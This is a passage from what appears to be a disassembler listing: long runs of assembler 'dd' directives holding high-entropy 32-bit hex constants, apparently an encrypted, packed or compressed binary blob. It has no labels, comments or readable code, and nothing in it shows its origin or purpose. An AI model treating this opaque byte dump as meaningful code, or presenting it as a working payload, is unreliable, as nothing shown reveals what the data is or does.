0CA1959F1h dd 84E91443h, 5B77EA29h dd 851F4B2h, 972CEC28h, 0D465E74h, 0E9E7F100h, 867F0C09h dd 65948050h, 0E3C1012h, 4D8D014h, 0DCB8187Dh, 0E9D3A501h dd 118681Bh, 9677F4C3h, 4C68EE03h, 88F4CB4Bh, 2105C084h dd 0F413816Eh, 100288B4h, 9D268E7h, 0F01BB819h, 791DFBD0h dd 0F3BD733h, 23DC6574h, 10BED625h, 0F34C798h, 8EBF4C6h dd 0D91C82B3h, 9CA17CDEh, 0E2929644h, 0F673AC48h, 28371B30h dd 0C0084CCDh, 0E8B47A71h, 22007E97h, 96AC92C4h, 7603775h dd 805355C9h, 0C4AC8B90h, 58CCFF8h, 13B639B8h, 0C2C8A2C9h dd 0C239A0D0h, 50C762Ah, 971F45Ch, 689D09D0h, 38800611h dd 0AD12365Eh, 0E5F69226h, 0B622E0Eh, 65042074h, 88A8D8F4h dd 0AA9D6D96h, 80C86020h, 240E0C20h, 41C71230h, 7EEA0D10h dd 14D4223Ah, 51B8B232h, 18FE7904h, 0A3A6019Fh, 0C377D70Eh dd 0E8F06A6Fh, 487648EDh, 61C07848h, 1485BA7Bh, 0C3D48400h dd 55234201h, 25F402C5h, 0CB15B205h, 39BCC4B0h, 0A94C13F6h dd 0A4DCE0C8h, 2CF10039h, 5D7D2DE8h, 7E4CED21h, 79D31058h dd 0F9406071h, 0DB06341Ah, 0D5DC7301h, 18A6D9Fh, 4EBA68C4h dd 0CF583275h, 1159B230h, 9CA973BBh, 8ABC0022h, 3FC45659h dd 0FC12DDDEh, 0D03444h, 5A4627h, 123AB6C8h, 0D9D3047Dh dd 58E2F324h, 283AF217h, 0DC01E123h, 74C625BBh, 1A0BD43Ch dd 860D298h, 9200A9FAh, 0EFC63A06h, 0B85B71CFh, 58BFA24h dd 78A694F7h, 8DA04075h, 1184F4C2h, 0CD60ACA0h, 0B82444BBh dd 75848824h, 28857062h, 7E013CA2h, 0E011A015h, 0CDA9D05Bh dd 8B5D6600h, 0EC6D1AFh, 38870021h, 11823306h, 1400E824h dd 67553E69h, 3A366F5Ch, 430032DFh, 4BF394EBh, 240FBE3Ch dd 393A441h, 0E3CC95EFh, 0A1D3D17Bh, 0AF03F4h, 691CE84Eh dd 4FA9B426h, 28004272h, 1A3F6E4Bh, 9CE55Ch, 0E1BF5BDFh dd 0C4EAA004h, 115ED701h, 17E7DE25h, 0B83CE46Ch, 0BB05D03Dh dd 499BDAF5h, 14D32088h, 951A670h, 0B76C32A5h, 0BC28DC01h dd 7BEA01F4h, 0DD05F832h, 0F1FDA0EFh, 82546858h, 5E6D95B4h dd 4960818Ch, 0F0CAC0BDh, 46247811h, 44916441h, 0EB06FF03h dd 63C80249h, 0F73CFD21h, 7B3AC8B8h, 0A5C1CA00h, 4BB59BB3h dd 0D12CB175h, 6D0180Fh, 7C1057EDh, 7022C9F0h, 3FE8A647h dd 5F12FFFEh, 955700A8h, 0A5136458h, 7CEA7F15h, 0D80F1D7Ch dd 0B59B7820h, 42BC8893h, 0D1976325h, 180C7178h, 9CE27E22h dd 0E94440A4h, 0E800C493h, 417AF235h, 0B266A8Fh, 36B4E5B3h dd 88C5F462h, 0F6049E4h, 924A953Ch, 559A7841h, 0E4780428h dd 26499400h, 0B502DF4Eh, 0FF755B17h, 4823BC3Ah, 10546601h dd 58ACFCACh, 0F8467478h, 770E203Ah, 86A1027Eh, 28073D15h dd 0DC1C10DCh, 7A77160Bh, 0EB5F0C0h, 0F04C22h, 7128293Eh dd 2A84C70Bh, 7AC82705h, 208C74EAh, 0E1048C11h, 727A7813h dd 517B5482h, 406F44B8h, 0BA9AA539h, 645F1311h, 4BB0332h dd 0DECA13B5h, 1DCDC54h, 471CB4A9h, 624EDC7Ah, 230D00C4h dd 0F5A7CCC5h, 909E58D5h, 0C3651098h, 0B208BD69h, 468D8A4h dd 0C28CC004h, 0BEC080BDh, 0DC0B216Eh, 0E58AF444h, 6048E484h dd 1313B483h, 97471260h, 0A3054F8h, 71CCACBCh, 16F9B022h dd 0F43D9A62h, 34003BF8h, 0AB5014E2h, 2C0EB1AAh, 52DCA3CEh dd 0FC59FC59h, 0AD0E1118h, 83D1A7F9h, 993D8F5h, 0F459BD71h dd 0ACB18C46h, 0B6725E80h, 0EC2132Dh, 207C627h, 0D9B57960h dd 0CB057D03h, 495AA7A4h, 4DF2A8F2h, 2A49D033h, 2C69326Eh dd 0C623EB78h, 0B97D8872h, 31E21246h, 623B005Fh, 939594A4h dd 70041C99h, 0E4A4BBD3h, 0AA6E126Ch, 8508A17Fh, 33B40670h dd 3BAD088h, 80A8FE78h, 8B974716h, 0F45BE880h, 2095DE3Ch dd 7E529DB8h, 8DA75EEBh, 3C372AECh, 98F36988h, 2D78A50h dd 6C2057E9h, 9CE92186h, 0F6E289B5h, 381C0263h, 9130975Dh dd 96F180FCh, 27346E4Fh, 0B0A0126Ah, 2860E41Eh, 803A5C38h dd 0E8A34682h, 16133993h, 13479FC7h, 0A954D7F8h, 28006052h dd 6FD73ED8h, 201C7F6h, 0EBF5D28Eh, 0E0D8F391h, 660140Ch dd 169B3874h, 0B6114ABFh, 0D961E390h, 0B0481F43h, 478A019Ch dd 579B16CCh, 88884E5Bh, 61C0CFE3h, 8824CAB7h, 2FC9EB09h dd 46346437h, 25282278h, 0C012DDF5h, 0F3046859h, 5CB0D3E9h dd 0C8A526CDh, 70452D90h, 986C26BEh, 64C48E09h, 1ECC463Ch dd 13CB39BBh, 60AC79C1h, 8739A3DFh, 0F49A6E00h, 2E1B52B6h dd 84E02542h, 6FEC40E0h, 44898E25h, 2CD20470h, 47F44CCCh dd 88D0B7BDh, 75C222h, 658317F6h, 10F4DD7Dh, 50A099D7h dd 8B161604h, 92BC9013h, 410BC689h, 5922D364h, 23F0AD68h dd 808CB63Bh, 944D249Ch, 1292032Bh, 9ADE1A9h, 58B70B0Bh dd 0EC80E211h, 6BBF018Ch, 76AF8012h, 51263009h, 18E0D960h dd 0C5484Bh, 19EFE710h, 25507534h, 0E2A2BC63h, 0F33BF30h dd 9028676Dh, 139EC582h, 0F447C47h, 2E765360h, 10F1DCA1h dd 43BA737h, 648E65F6h, 0EC9CF0A1h, 7E2E6710h, 3025B81Ch dd 0E9D31591h, 340BDB4Bh, 0C4B00B12h, 0A49001CCh, 186C33BEh dd 0F04EC813h, 1442A51Fh, 84A0D352h, 37E918EBh, 6E9640E3h dd 92E03CE1h, 3580BCA2h, 0DCC274B9h, 94008877h, 575B1B53h dd 0F50ECE4h, 7E73F14Dh, 347139BAh, 21188179h, 9A448898h dd 3BC925D3h, 6209C64h, 603CFCC3h, 4271398Ah, 890F8362h dd 806C8756h, 274DEF10h, 0CC0800C2h, 0B026091Bh, 0FD606995h dd 2DED9CE1h, 709B489Fh, 0C369C7C0h, 0A7002B91h, 418B4C50h dd 284F02FFh, 0AF8AD27h, 0BCDD9E9Ch, 5CB52FA1h, 211B4980h dd 44124017h, 0FF4C3C46h, 5CC5017Dh, 3E347E89h, 348BDB70h dd 0B661BC33h, 0C55E020h, 73CE2467h, 74221Ch, 0BE9903B7h dd 34608EB2h, 5B2AB800h, 49DDB32Bh, 0A37B0164h, 4D41DFA1h dd 0C7C180F9h, 75E037D5h, 999F005Bh, 0E7608AA2h, 0E9F29679h dd 0C102A0B2h, 481FDF02h, 535461D8h, 83040A6h, 3C137D8Bh dd 8E5A9403h, 598A6ADh, 0EA8025B4h, 77EC01ACh, 0F1DD60DEh dd 1054385Ah, 841FA361h, 701A5E25h, 0A8197948h, 0EE73F405h dd 6CA41507h, 0BF048CC8h, 0A1138F39h, 0DB208362h, 70739A7h dd 7E069899h, 0C1D330CFh, 3892FB9Bh, 0AED6801Ah, 11F81D98h dd 9178003h, 3B50320Bh, 0B093C229h, 6E60A0F3h, 0BA837E20h dd 11BB1708h, 80E8E05Bh, 102DA496h, 859050h, 2FB47839h dd 0E47A0B34h, 583FF504h, 48F866D5h, 78B61422h, 18F465Eh dd 0F53611A9h, 198196C0h, 6A7704BDh, 0FAC7481h, 0EC80AC4Eh dd 5AF92FF4h, 3FA86BB2h, 70F50092h, 6A3F1B1Ah, 1EB9018Fh dd 5418559Bh, 8AF982FFh, 555A25D3h, 291DA8B7h, 4704F100h dd 571D176h, 0E791F255h, 0F3EC0936h, 9D3AA882h, 0A131DD0Eh dd 0A024E434h, 80E049h, 8365C322h, 4C5DAAA3h, 0C927A405h dd 8B80FD79h, 0D7E157DEh, 0BDA04050h, 463ED09Fh, 0D9F51F13h dd 0DF438C8h, 0A8B3C677h, 0BC446830h, 85028C8Fh, 3A253677h dd 0E47445B2h, 6F5F6099h, 0BA5A00F2h, 3A70C92Dh, 20986E38h dd 12A0A917h, 1BB16020h, 6CF75948h, 0E4D4710Dh, 587B2149h dd 6A1F96D4h, 0B03A5AF3h, 67C74162h, 2F564E5Dh, 623F4h dd 2050AA74h, 3101E9D1h, 91D25BE4h, 5C78FC4Fh, 128C8EECh dd 0F08C98FFh, 44F44B9h, 0BCBCF884h, 0CF30C2BDh, 4207217h dd 33C39E18h, 0B99D0710h dd 0B7BAAA21h, 66448C41h, 23C43A05h, 0F3790083h, 43AFBED8h dd 7F993A12h, 0DF8C08h, 0CBA286Eh, 0BC9E13F5h, 24696A80h dd 536504h, 0A0EC9CA2h, 0CCB5C22Ch, 14C831BFh, 6C607009h dd 0C4C2BF12h, 8A0004E2h, 9B61EC5Dh, 220128B0h, 0B157F4ABh dd 0FA12EE5Ah, 91441755h, 0A3FC804Bh, 0C99476Eh, 0DE3CEFDDh dd 0A62566D1h, 0B084876Ch, 0BF787059h, 7091D09Dh, 0EE0F7180h dd 53F8C7D3h, 5CF58D26h, 260D3C08h, 20A01C28h, 916C979Fh dd 1987804Eh, 0F03AA87Ch, 5BB0A19Ch, 0BCE7DD10h, 12F0074Dh dd 0F43A5599h, 0F3E8423h, 2125F292h, 69871427h, 101AC034h dd 2701B41Fh, 80F482AAh, 8F0C0105h, 0B420CA75h, 64BFC337h dd 5349A05Dh, 740014B2h, 0DEBD9609h, 1E007EBBh, 0C5ABB9B2h dd 0E3BAFBh, 0F23160D5h, 9A1CFA61h, 0D0E0D8A0h, 456D8688h dd 0ABDC307Fh, 1D97D6B8h, 800711E0h, 7C7368E6h, 38941EF9h dd 3D070BACh, 0B4A74010h, 9AFE5FE2h, 0E5C2AE00h, 0C01DCDE3h dd 12B490D8h, 0A6FCD9C4h, 2A4CF068h, 18AC1204h, 0DBC08860h dd 0BF06F309h, 4F600E7h, 0F4BC0525h, 161C7471h, 50C6766Ch dd 9410C01Ch, 9BF406F5h, 8761503Dh, 678144FCh, 20AD33E4h dd 5A6CCA00h, 31C8170Dh, 599A1B04h, 0D8DB9C8Fh, 17C41F11h dd 80843BDEh, 0D026D884h, 47B2118h, 427F6708h, 9310FA07h dd 8C71825Dh, 201FC150h, 6C0C8ECAh, 919CED78h, 38551669h dd 88F48BBFh, 0DFCC071h, 0D1007D59h, 33EA392Fh, 31781411h dd 0F598466Eh, 7CF469C3h, 0FB26025h, 107DC108h, 5424D328h dd 0F8BA0222h, 8B68CCDDh, 1695F098h, 0FCA3807h, 8979B243h dd 44ECCDE4h, 3A1160F9h, 222C006Ah, 61F01E0Eh, 7A5E77ECh dd 0C768FC14h, 97D0EBD2h, 0DAE306h, 0F2CFD3A8h, 79A9AB85h dd 0F590191Ch, 319ADB4Ch, 7AF43EBDh, 230B0B3Ah, 381034BAh dd 861FD908h, 0D4526080h, 82963420h, 918C054Ch, 0B05C0268h dd 0AF2014D4h, 4A127CBCh, 62C4059Eh, 0D3949099h, 6E256C69h dd 0B2A8E00Ah, 7A400012h, 7DB0602Bh, 801B1463h, 0E05142CBh dd 0FF4EE6h, 0AB23E581h, 2C947D8Ah, 4C66C600h, 2FEE43DBh dd 28770AC3h, 0C8FE68h, 192CF86Ah, 9C05FD4Eh, 0D03B9095h dd 0EE93F0C0h, 14D40075h, 0FDB8C824h, 0EA0F7877h, 603E7BCBh dd 3992A0D9h, 6F111FE5h, 0C94D8CA7h, 421E5328h, 0E083E1FBh dd 0F79C7C1Eh, 6129F2B1h, 3DA42080h, 6CA7A513h, 2F01DC0Eh dd 58FE8085h, 0F0CBD4D5h, 76D8008Dh, 0A1BBAD54h, 0A9E8E888h dd 7EB408C0h, 37F90992h, 40306176h, 0D9ECB5B8h, 7F358401h dd 3CB62EF8h, 3AB159C4h, 1103FEF2h, 6CFBFFBh, 17291100h dd 4FB9CA4Ch, 3E5303F8h, 74A47BBCh, 6B639000h, 0F77FC412h dd 97FD00A0h, 0C02C8108h, 760CB709h, 0C8A510EFh, 0B079C8h dd 0DB6A60F2h, 874E9506h, 521A4800h, 7DE225C4h, 0AD7EE7Ch dd 93693C39h, 0D2971480h, 80400C37h, 263B0AA0h, 9022A00h dd 7DC5A7Bh, 0AF2400D8h, 2FAD63CBh, 142AA0ACh, 5500C4A8h dd 0D79B889Ah, 77C0326h, 54CE3FE4h, 2D390313h, 3BBCB3F9h dd 7C8B5103h, 0F4D8B8CCh, 39930347h, 213FEF32h, 9E48AC80h dd 382C7330h, 0A15300Bh, 0B8CDF527h, 0EDF780D4h, 6CECB9D7h dd 0A307AC00h, 875B2AD3h, 419801F4h, 0C4557948h, 259BF439h dd 3D6F0100h, 870C0F2Ah, 0C0948C3h, 4AB9A133h, 0CD906C88h dd 0E561AB60h, 0E35B76B1h, 1ED0A9E8h, 0C0AF494h, 0C38859B4h dd 0F23BED00h, 0C022B78Dh, 802000E2h, 24F4A79Ah, 4C7CF644h dd 0A5519F00h, 0A43B4AE3h, 0A3690018h, 0F911B5DEh, 4400124Ch dd 0D3ED6FAFh, 902577h, 0A4133E3Fh, 0EE0D71BCh, 4CF51B00h dd 86E2C9B0h, 0D090189Dh, 0D5453822h, 92692D67h, 0B069EDD0h dd 490C06CBh, 61FE1006h, 8060853Ch, 50CC63EAh, 186A8CA7h dd 21F3F62Dh, 970075A0h, 28B99986h, 1D794Ah, 4D0C6E93h dd 0FA7225E0h, 0AA2EC203h, 0C01F4480h, 113B516h, 63AE9CC6h dd 8C45CDEBh, 912BCB02h, 0F0C9312Dh, 88E67661h, 34BE410h dd 578B59F6h, 0BFEE2878h, 480EF318h, 0E8D010h, 577E3364h dd 544B066Dh, 6BBE29CFh, 19DDEA8h, 0D04A44A1h, 67AE20AFh dd 804BC03Dh, 61249F4h, 3B4CE83h, 0FE33E571h, 6A884781h dd 600AF188h, 4F5CB38h, 54007475h, 0F1C7BE70h, 0CDE7FFh dd 3666CA29h, 8D5D4383h, 0BF704C1Ch, 1FFF83FDh, 900A264Fh dd 4924B1h, 0E79F3661h, 0F0C2F9EBh, 0A9D06600h, 0B05280D9h dd 35EA0E82h, 80022DBh, 0DAAF4395h, 1F949B00h, 0FF8C9DD9h dd 0EE7F44Ch, 9FCBBD5Dh, 1A02C981h, 25A1806Eh, 0FF668776h dd 0F0587B2Ah, 3470010Ch, 0E24F670Eh, 63D630BEh, 0F133C404h dd 0C9C65378h, 70C90788h, 0C5361C8Bh, 2E29809Fh, 89039DB4h dd 1B93E84Eh, 25F122CAh, 0DA60FB7Ah, 1D736D79h, 7DE9188Ch dd 0FD48212Eh, 190E153h, 0D82197CFh, 0A048A058h, 814C0189h dd 0A633609Ah, 5B92C4F3h, 0DE66FD00h, 0B764BD46h, 13F43A89h dd 67B06581h, 44237C99h, 0A3C404A4h, 0B16D02C1h, 48D0A7E3h dd 0C1597C3h, 0E05287B0h, 4C07C818h, 0B1744DC5h, 0F23929D0h dd 1A9A00FFh, 17795FBEh, 3B0059F4h, 0CB1FA411h, 1C16515Bh dd 81A755C1h, 0EDF6A81h, 15C3F3C3h, 0E7EA20E7h, 1C2B4139h dd 0EE612051h, 0C0016961h, 0D015C958h, 12000318h, 9C971980h dd 3EAD5301h, 3300DF10h, 0E4178920h, 46010F25h, 24FD0B6Ch dd 630E15C3h, 0F4D44A81h, 0C8801410h, 9027561Fh, 21B48960h dd 3853022Eh, 0AE3D6F06h, 93D80076h, 1DAF6DB7h, 0FA2AD977h dd 8D03412h, 63EB8280h, 0A0A1355Fh, 0E131F0h, 0D33866F8h dd 9F9706B3h, 0F092F500h, 0FD203505h, 6C6324ECh, 3B9D043Ch dd 87008094h, 0F679E6A8h, 0D792D112h, 0D3E83800h, 19CB3581h dd 299E4C9Ah, 448E08C4h, 2284C7D3h, 0B0429329h, 6B106021h dd 1028858Ah, 0D01A84ECh, 0CF449F48h, 7911D822h, 218324CAh dd 0F412ADDAh, 17D12C20h, 18033CEFh, 0EDE2F007h, 60C3174Bh dd 0B8A33029h, 2E904800h, 8BFC53ECh, 5632006Ah, 35924569h dd 7E5C254Fh, 0A92300A3h, 13B90C6Dh, 31880375h, 0E32743AAh dd 599BB08Fh, 4900A393h, 4F614201h, 3E4B77CCh, 28021AEh dd 751E6ED3h, 670323CDh, 5FF9E60Eh, 732980EDh, 0B6AB0044h dd 0AC12C920h, 570EA26Ah, 0C0593092h, 9FD1374Eh, 0A4DA00B0h dd 4F93ADC2h, 0F4CD4E5h, 7C45005Dh, 15B02CB6h, 39BA0C49h dd 22881732h, 6B2BC100h, 0E71CBD30h, 3B760151h, 0DF25CCAEh dd 5783D488h, 7DBEB500h, 2D8C3342h, 11CB0F3Eh, 80FE5A78h dd 48589B30h, 0EF1F6A51h, 0EBC0E821h, 3B65CA9Ch, 0DC4606DFh dd 22CFC698h, 0FD6DC100h, 9AF7E620h, 978E0A2Ah, 38B2B1AEh dd 0E1C2F000h, 732BBB60h, 0D4105B00h, 84A49540h, 1606148Fh dd 60029CF0h, 813D57ABh, 20909A61h, 7518A40Dh, 23C672F4h dd 7EBA0968h, 5483FE1Fh, 0B87F8FD4h, 0D7EB8B02h, 603641B0h dd 0B3FB53h, 1EFA01DAh, 8A9267Dh, 6E35341Fh, 5F7420C3h dd 25201AAh, 1EDA8C21h, 488440A0h, 86006D9Fh, 9DFB82D5h dd 3F0940D9h, 24048FA1h, 804E4267h, 3E96A968h, 0CB07C813h dd 157BE040h, 505EC7h, 749A0A51h, 79C52454h, 0E94A490Eh dd 569B8322h, 0D1680006h, 8E2E25CAh, 9D0CFA20h, 48399813h dd 847D012Dh, 5428666h, 1A07F8B8h, 12EAF438h, 34409E58h dd 0AEA26245h, 0A502008Ah dd 0D8BD2220h, 700F126Bh, 801DFC4Dh, 0FDCE55C9h, 32D500C1h dd 0CF64C033h, 20900DB8h, 0DA4F780Fh, 10F1CC85h, 0D95E0103h dd 819405CAh, 4386FC31h, 0F960FDE0h, 9F0BB520h, 25AD003Bh dd 0A0557DDEh, 0C6007E56h, 915BD1C7h, 1A8C1h, 6D0ABE72h dd 7B3B555Ah, 9A93AA00h, 8C590CABh, 4FAA7h, 9CA96CEBh dd 875BF6BFh, 1CDBCE00h, 0CC64CAAAh, 0AB1B0033h, 3BB7EB12h dd 0B400BDF2h, 70DF42E2h, 0EA3145h, 9CF6C9C8h, 78075352h dd 93C37900h, 965DEEBh, 0B81C0081h, 12832F55h, 6201FA48h dd 5BDA3BF4h, 0B6D4DC15h, 83ABA0B0h, 7A1C00D2h, 0FFBC73FBh dd 6800B8A7h, 72D92955h, 793EB0h, 9D9E9F11h, 5240F557h dd 0E22D5900h, 42555DEEh, 0FA6F0051h, 0F8768E7h, 3A0066B7h dd 56013067h, 0EBF107Fh, 4C2F9451h, 0D67AA3E0h, 4E00931Fh dd 5D5EEEC6h, 0E5FA96h, 97A017A9h, 0C9EF2E2Ah, 67BE4E03h dd 0D824665Bh, 0FEDDA6h, 6D7EBCB8h, 4EC6D908h, 0B18BA000h dd 23BA3B36h, 0C9E50ECBh, 19800DE0h, 8B14A979h, 9D785200h dd 9E1F8958h, 4DCD2843h, 0D57F01CCh, 6343525h, 0A22B70F7h dd 8365900h, 7C9F728Ah, 43470013h, 33B5102Fh, 0F200B032h dd 48317B07h, 1C1284E5h, 40A7519Eh, 0E89B2C14h, 0F0046ADCh dd 0DD7DF3CAh, 0C7CD1B80h, 2C1E02A6h, 4826064Bh, 0B098DA60h dd 0D2793Ch, 8BE8C232h, 4815BE54h, 0B43B2094h, 99E44580h dd 0A7AD7C71h, 1C271800h, 0F63DEDF9h, 0F1251C50h, 52D047B7h dd 0B8F3D008h, 1277AAFEh, 38BD2858h, 0B2AC07DCh, 0E911603Fh dd 30CC4027h, 0CA5C3B3Ah, 7CD1C060h, 730004B2h, 95669711h dd 986DC9B0h, 0A6D700BCh, 8637F155h, 62EAB9D2h, 23EC3Bh dd 34C50E40h, 0B78B1DFh, 6CC811Fh, 54659C00h, 0E2488D5Dh dd 6B007E64h, 8A18E427h, 1F13C3A5h, 0CE983FE0h, 32C10569h dd 70DAE840h, 4600423Eh, 0DFF5574h, 0E8B42E88h, 0A27100F2h dd 9CB8627Ch, 52281308h, 8F0E9028h, 604B0E87h, 0BDE5B053h dd 0B8610036h, 2F2B01AEh, 0CD00318Ah, 56738B4h, 0C00EE752h dd 88516030h, 0CC006850h, 131C333Ah, 201B35Fh, 0B7CEF3BCh dd 0D0405D10h, 820514D5h, 0FD22F2CDh, 24F57E80h, 0AEF0006h dd 0E11EED79h, 2F0027ADh, 0EEB8B63Dh, 964CF6h, 41F46DD5h dd 2DA08AABh, 119BEC00h, 77209A52h, 0D4CB00F1h, 0A61F221Dh dd 39004772h, 4A12ACEAh, 97D99C38h, 760156F8h, 95BBA88Bh dd 37CD5D2Ah, 0F16D20h, 0B07D4C58h, 90FFD682h, 1089D00h dd 3FB73DEEh, 0B5E300CDh, 5DF6161Dh, 0AA045158h, 8C011B18h dd 12865480h, 4F4A0E11h, 2A40DE74h, 607014A6h, 0A3CD3Dh dd 872E89A4h, 0FA5AD9Ah, 5C56CCF0h, 31028B00h, 0A800DE38h dd 0D1964177h, 77C12EF6h, 6E113ABEh, 95862B00h, 35AC50A7h dd 5A0E8777h, 142EAC3h, 0EB18B05Dh, 3B616860h, 8500A0D8h dd 23069A63h, 8D1E6749h, 0C9803A43h, 0E080C361h, 0FD44006Bh dd 0E7DD9C91h, 2000A8EBh, 16DAE21Dh, 945F556h, 4EE6B993h dd 50356400h, 587DA9DEh, 0F68A3307h, 40DE1694h, 0B7CA733Dh dd 2A5306D5h, 0C01D9D37h, 0E47D2702h, 605FB974h, 0BB5C9Bh dd 0F8FA3034h, 87704A2Fh, 0F0E28C04h, 0BEC089F7h, 0E10CC9h dd 0A20A5F18h, 0B6045A14h, 6C38DD00h, 76442C71h, 895D00E8h dd 9CED2E67h, 1B48341Ah, 0D9C44006h, 0C10CC200h, 0A046F12Ch dd 76DD2CB4h, 0D72D03BAh, 293E6132h, 0C0A80E8h, 0C8DE45D8h dd 0A77E0046h, 0C9164212h, 0E49019A5h, 342A62F8h, 0B54C8068h dd 0D84804h, 7805B375h, 619214h, 4AF2BD94h, 0AAD35539h dd 9D1DB600h, 0FDA72F16h, 82F7FD64h, 0B508C843h, 747A05B3h dd 40F0C88Bh, 0D777080h, 9CF2B4BBh, 82F7F81Fh, 7573EE02h dd 0A678E0C8h, 0BDE145Dh, 0D50BA086h, 80FFD371h, 0C7D43267h dd 0DE100C3h, 3438BDC9h, 0CF004869h, 4F045EF6h, 0FA9C12A4h dd 0F0711795h, 0C6520024h, 0A28E6944h, 2C97B100h, 167E9388h dd 0D7630022h, 600661F5h, 0A9008753h, 0C9CFDEFCh, 0C884AEh dd 3804EC52h, 0D5E06732h, 0C7E3A828h, 0C36C0A00h, 18ABFCBFh dd 0F83A1368h, 8BED01E8h, 0F43259E9h, 0E405870Fh, 0BF775DB1h dd 0CA529880h, 0BE430F8Eh, 93C02A22h, 0F68F473Eh, 24EC0F0Fh dd 0C40DC0D3h, 1C2F0B58h, 0C1B10AF0h, 14E76B9Ah, 0E0032E39h dd 0D02BADDFh, 58158061h, 2A0798F7h, 50DB9766h, 0F064C213h dd 6E11A424h, 50006116h, 8FA7B763h, 42280168h, 0A5A9C320h dd 735A8093h, 0FBEE9055h, 0E89E01F6h, 6D5D6ECAh, 0DB82E819h dd 9587E319h, 21FC9C4Ch, 0F23D038Bh, 0ACD2186Dh, 75A5D800h dd 133194C0h, 1DEC02C6h, 0D0C3F676h, 0DD2B60C0h, 0E149BF00h dd 6CB220Fh, 45461DFFh, 752840ECh, 0D858CEA3h, 601CCCB0h dd 62C4D52Ah, 0CCC0201Ch, 78DF9C74h, 0FBF400F3h, 0A218A45Eh dd 0BE184C7Ah, 231059E8h, 1F3FA44h, 928F6C7Bh, 6015BA68h dd 0C70B40A8h, 5642ECh, 62498820h, 977536h, 0B4736B8Bh dd 0EE773115h, 26FF171Ch, 0A500ACACh, 0E4258F71h, 0B310C0C3h dd 22FD01A3h, 0A0FA7400h, 8CBF4958h, 7F9501E0h, 268DC05Fh dd 7508C809h, 4E94E201h, 43F84224h, 0EA7781F3h, 0C0BF489Fh dd 632A17A0h, 0A9001C5Fh, 0C555042Ch, 41C2E3h, 0DE2959B4h dd 0B07FF034h, 377AA3Fh, 0E48FB695h, 3758122Eh, 0EC2505DBh dd 0A6900025h, 0CC286442h, 5576F001h, 7AC3E1EAh, 0B62B41C6h dd 6D65C4h, 0A40DEC8Fh, 332F7BFAh, 803B9138h, 6AEF510Ah dd 12771Ch, 3E68BB79h, 50D1C06Bh, 302C0301h, 6D299290h dd 357CDCh, 45AA8971h, 0EFDB06C4h, 86051C98h, 4CCBFED8h dd 0A4A700CFh, 7CC2388Ch, 0F1FA007Ah, 44195E68h, 652A8C5Fh dd 0F30CE420h, 6193E6E0h, 17670178h, 2B44629Bh, 0F9FC207Dh dd 895CA406h, 1E18B1E0h, 0C580DBBCh, 0C005A8CFh, 6D1EF6D8h dd 0F7EA0117h, 9C00F116h, 200BB938h, 0CC23040Eh, 90737792h dd 56BB738h, 1A84E300h, 107A74CAh, 842B48AAh, 72125A00h dd 0A078F0DBh, 0BEA2F800h, 7E1477Fh, 0AF490CDEh, 35B8CB15h dd 9C78263Dh, 59439B19h, 3DDA5D2Dh, 0CEBF84A8h, 66CC4A80h dd 99B2158Ch, 0EE8258h, 0A9011D12h, 1A114Fh, 92B86F59h dd 0BB298FECh, 9B28A200h, 101D7ADCh, 641458BCh, 3E076E3Fh dd 505D8FB4h, 0F8E94968h, 63E4F21Dh, 0B91FE8A8h, 0DDC05ED4h dd 7C39BF09h, 659100A8h, 7EFEB198h, 0DF00E93Dh, 0E611BADEh dd 1F9B531Ah, 40F678F9h, 0D01957DCh, 0B701B967h, 0CCBF707Eh dd 74028AFCh, 18401242h, 0E8005743h, 0BF33D705h, 90D0CA5h dd 44CB47B5h, 0D22E0CADh, 0B7018850h, 1FE4A180h, 0B84C5079h dd 0F1721EC8h, 0A85C40C2h, 9D289F0Fh, 0FE6A9300h, 572C50E3h dd 0E0DF5A17h, 0B40CC1FBh, 603545F3h, 663B0579h, 399CFB2h dd 311BDB4h, 8A4C64E8h, 0FE93691Fh, 1E1A4500h, 8D24FFh dd 0FB99A5DEh, 3167CD89h, 0DCE56A01h, 0BE6F8562h, 0C23E60h dd 7C91849Bh, 4B5915A9h, 7FE0B50Eh, 0A1E8E2D3h, 7A2F40CDh dd 4FA5Ah, 235CF813h, 0C262B397h, 728ADE3Dh, 960EB098h dd 8EEF2921h, 0F780E003h, 2BE46Ah, 0C009472Ah, 60A9DF37h dd 0EC66B705h, 80EF6D9Ch, 10F370A8h, 0CDABC500h, 37B17B8Fh dd 2CE9FA85h, 41CFBA9h, 1938406h, 0FE895AF0h, 139A4020h dd 8BBAFDh, 5708E038h, 21007F47h, 3D4A52Bh, 0C161742h dd 9B250FFh, 25049129h dd 936E703Ah, 0EE64CC0h, 54C002DFh, 71B8EF03h, 89809F43h dd 0E200F0ECh, 0A87E58C5h, 17B3C206h, 1F6C412Dh, 4098DEDBh dd 9A38B2D5h, 55E0E852h, 0DBADE000h, 0F7FE3051h, 0DE660053h dd 321364E3h, 6C07238Dh, 918285C8h, 0AEF22A50h, 0B27E39BFh dd 2A4EAEh, 7F06E052h, 9F00F063h, 308CC451h, 21AFA68h dd 0F39A9793h, 9B40826Eh, 2C0078BFh, 0DC31C7A6h, 1F91F7h dd 3A050EAh, 0D6DE233Ch, 8925580Fh, 157A20B5h, 0F4D06993h dd 0C76702DDh, 149FF787h, 0CE900863h, 0A400EB3Ah, 0B9F0E777h dd 2F6693h, 0F272DE0h, 6C4755FDh, 4F7E39h, 1E07CCF0h, 0AA0AD5h dd 0CA6938B0h, 684B1F5Fh, 53709800h, 7C99B72Eh, 2783006Eh dd 0A14EE4CEh, 3D004F87h, 0BEC9EAD0h, 0F05EC3h, 0DE419F2Bh dd 0F28CD35Fh, 7C037490h, 0DF9B0156h, 0BAE5A049h, 0E418C0F5h dd 525F1C32h, 691DF903h, 0D015C7B1h, 39A33D0Ch, 0AA60A8C0h dd 9DEBE443h, 97DE7800h, 0B49A9917h, 0F37100FAh, 2740FDC1h dd 0F403BDCCh, 3228FBC3h, 52E68023h, 9C4002Ch, 0EEBADF83h dd 0FF007805h, 8DB5A102h, 0ADB75Ch, 0C5B36EE7h, 25C6FB87h dd 2B6BCB00h, 0E68D94B6h, 0B25C0070h, 0E70B0789h, 5A00AAB3h dd 548108F6h, 0A5124Dh, 7BAA78Bh, 0ADF470BDh, 20AFD900h dd 12A3E0FBh, 8CA51304h, 14D440DEh, 705FF619h, 0B493C30Fh dd 0A032AE58h, 0F4D37BDCh, 73200095h, 0CADA1AD0h, 5300FBE8h dd 0F5D69D6Ah, 1C31FD0Ch, 0C002AB17h, 9F3554B3h, 0CCA0A862h dd 0EB445FBAh, 22F61C6Fh, 0C03F1CC6h, 1B0993F9h, 7F2657DBh dd 360034EAh, 84BBC72h, 0CFF80038h, 3B8DE012h, 0EF00902Dh dd 0F672E9F7h, 